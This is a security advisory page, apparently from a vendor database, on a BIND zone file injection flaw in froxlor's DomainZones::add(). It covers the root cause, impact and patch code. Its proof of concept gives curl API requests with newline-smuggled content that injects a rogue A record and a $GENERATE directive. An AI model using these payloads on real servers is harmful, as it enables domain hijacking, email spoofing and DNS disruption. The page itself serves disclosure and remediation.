Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-47hf-23pw-3m8c froxlor/froxlor

HIGHFix: froxlor/froxlor@47a8af5

GHSA-47hf-23pw-3m8c is a high-severity (CVSS 8.5) CWE-93 vulnerability in froxlor/froxlor. A fix is available for froxlor/froxlor — see the affected versions and patch details below.

Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

Also known asCVE-2026-41230
Published
Apr 16, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-47hf-23pw-3m8c.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-47hf-23pw-3m8c plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘froxlor/froxlor

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::__toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.

Details

Missing type whitelist — DomainZones.php:93:

The type parameter is accepted directly from user input with no validation against allowed values:

// lib/Froxlor/Api/Commands/DomainZones.php:93
$type = $this->getParam('type', true, 'A');

The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:

// TODO regex validate content for invalid characters

Missing newline sanitization — DomainZones.php:154:

The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:

// lib/Froxlor/Api/Commands/DomainZones.php:154
$content = trim($content);

Unsafe zone file output — DnsEntry.php:83:

DnsEntry::__toString() concatenates content directly into zone file format without escaping:

// lib/Froxlor/Dns/DnsEntry.php:83
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t"
    . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "")
    . $_content . PHP_EOL;

Newlines in $_content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.

Zone file write — Bind.php:121:

// lib/Froxlor/Cron/Dns/Bind.php:121
fwrite($zonefile_handler, $zoneContent . $subzones);

The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.

Execution flow:

  1. Customer sends API request with type=NAPTR and content containing \n-separated lines
  2. getParam() returns raw values without sanitization
  3. Type NAPTR matches none of the if/elseif conditions — no content validation runs
  4. trim($content) preserves embedded newlines
  5. Content is inserted into domain_dns table via prepared statement
  6. DNS cron creates DnsEntry objects from DB records (Dns.php:297)
  7. DnsEntry::__toString() outputs content with embedded newlines into zone format
  8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records

PoC

Step 1: Inject a DNS record with embedded newlines via API

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
    }
  }'

Expected: HTTP 200 with success response. The record is stored in the database.

Step 2: Wait for DNS cron to rebuild zones (or trigger manually)

# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns

Step 3: Inspect the generated zone file

cat /etc/bind/domains/example.com.zone

Expected zone file content includes injected lines:

@    18000    IN    NAPTR    100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .

The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.

Step 4: Verify BIND directive injection

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
    }
  }'

This injects a $GENERATE directive that creates 255 PTR records.

Impact

An authenticated customer with DNS editing enabled can:

  1. Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.
  2. Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.
  3. Inject BIND server directives ($INCLUDE, $ORIGIN, $GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.
  4. Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.

While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.

Recommended Fix

1. Add a type whitelist in DomainZones::add() (primary fix):

// lib/Froxlor/Api/Commands/DomainZones.php — after line 93
$type = $this->getParam('type', true, 'A');

$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];
if (!in_array($type, $allowed_types)) {
    throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406);
}

2. Strip newline characters from content (defense-in-depth):

// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154
$content = trim(str_replace(["\r", "\n"], '', $content));

3. Sanitize in DnsEntry::__toString() as a belt-and-suspenders measure:

// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()
$_content = str_replace(["\r", "\n"], '', $this->content);

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistfroxlor/froxlorall versions2.3.6composer require froxlor/froxlor:^2.3.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update froxlor/froxlor to 2.3.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-47hf-23pw-3m8c is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-47hf-23pw-3m8c can be triaged on real exposure rather than presence alone.

Tailored to GHSA-47hf-23pw-3m8c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into t
O3 Security · Impact-Aware SCA

Is GHSA-47hf-23pw-3m8c in your dependencies?

O3 Security finds GHSA-47hf-23pw-3m8c across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-47hf-23pw-3m8c: XSS (High 8.5) | O3 Security